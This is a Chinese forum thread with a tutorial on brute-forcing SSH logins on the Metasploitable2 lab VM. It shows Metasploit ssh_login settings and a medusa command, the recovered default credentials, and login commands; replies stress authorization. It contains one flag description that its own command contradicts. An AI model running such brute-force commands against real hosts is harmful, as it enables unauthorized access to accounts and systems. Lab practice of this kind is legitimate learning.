对metasploitble2测试平台进行ssh爆破
对metasploitble测试平台进行ssh爆破
首先要准备暴破字典,一个用户字典,一个密码字典,也可以一个字典同时当用户名和密码用。可以在创建一个目录并创建这两个字典 (mkdir /tools/zidian ; touch /tools/zidian/ssh_user.txt ; touch /tools/zidian/ssh_pass.txt) 字典内容随心所欲,但是如果字典太大,可能会造成暴力破解时间过长。不过可以大大增加成功率。
ssh暴力破解有两种方法
一是使用metasploit,搜索 (search)ssh_login 这个工具进行暴力破解,需要设置用户名字典 set USER_FILE/tools/zidian/ssh_user.txt 和密码字典 set PASS_FILE/tools/zidian/ssh_pass.txt最重要的是设置目标IP set RHOST 192.168.1.1 还有设置一下线程 set THREADS 1000 (根据自己电脑性能设置) 最后运行 run 。。开始暴力破解。
第二种方法是使用 medusa 爆破工具 -l指定地址 、-U 指定用户字典 - P指定密码字典 -M 选择爆破类型。使用方法: medusa -h 192.168.1.1 -U /tools/zidian/ssh_user.txt -P /tools/zidian/ssh_pass.txt -M ssh
OK ,可以看出,爆破出了两个账号和密码。一个是 user user 一个是 msfadmin msfadmin然后可以登录一下ssh 指定用户登录方法 ssh -l user(或是msfadmin)192.168.1.1 回车后输入密码后登录
不指定用户:ssh 192.168.1.1
指定用户:
ssh -l user 192.168.1.1
ssh user@192.168.1.1
如果修改过ssh登录端口的可以:
ssh -p 12333 192.168.1.1
ssh -l user -p 12333 192.168.1.1
ssh -p 12333 user@192.168.1.1
给自己顶一下
Re: 对metasploitble2测试平台进行ssh爆破
楼主分享得很详细,从字典制作到两种爆破工具的使用都讲清楚了,对新手很友好。补充一点小提示:爆破前最好确认目标有合法授权,不然容易惹麻烦。另外字典如果太大,建议先用弱密码和常见用户名缩小范围,能提升不少效率。medusa 那个命令里 `-P` 和 `-l` 大小写注意区分,写错了会报错。感谢分享!Re: 对metasploitble2测试平台进行ssh爆破
楼主分享得很详细,这两种方法对测试环境来说挺实用的。提醒一下,实际用的时候记得只在授权范围内操作,字典大小和线程数也得根据机器情况调,不然容易卡死。另外如果目标改了端口或者用了密钥登录,这些爆破方法可能就不奏效了,得提前确认一下。Re: 对metasploitble2测试平台进行ssh爆破
感谢分享,很实用的SSH爆破测试教程。字典的创建和两种工具的使用方法都写得很清楚,对于初学者来说上手难度不大。想请教一下,如果目标修改过SSH默认端口,在Metasploit里是不是也需要额外设置RPORT参数?另外,线程数设置太高会不会被防火墙直接封IP?
页:
[1]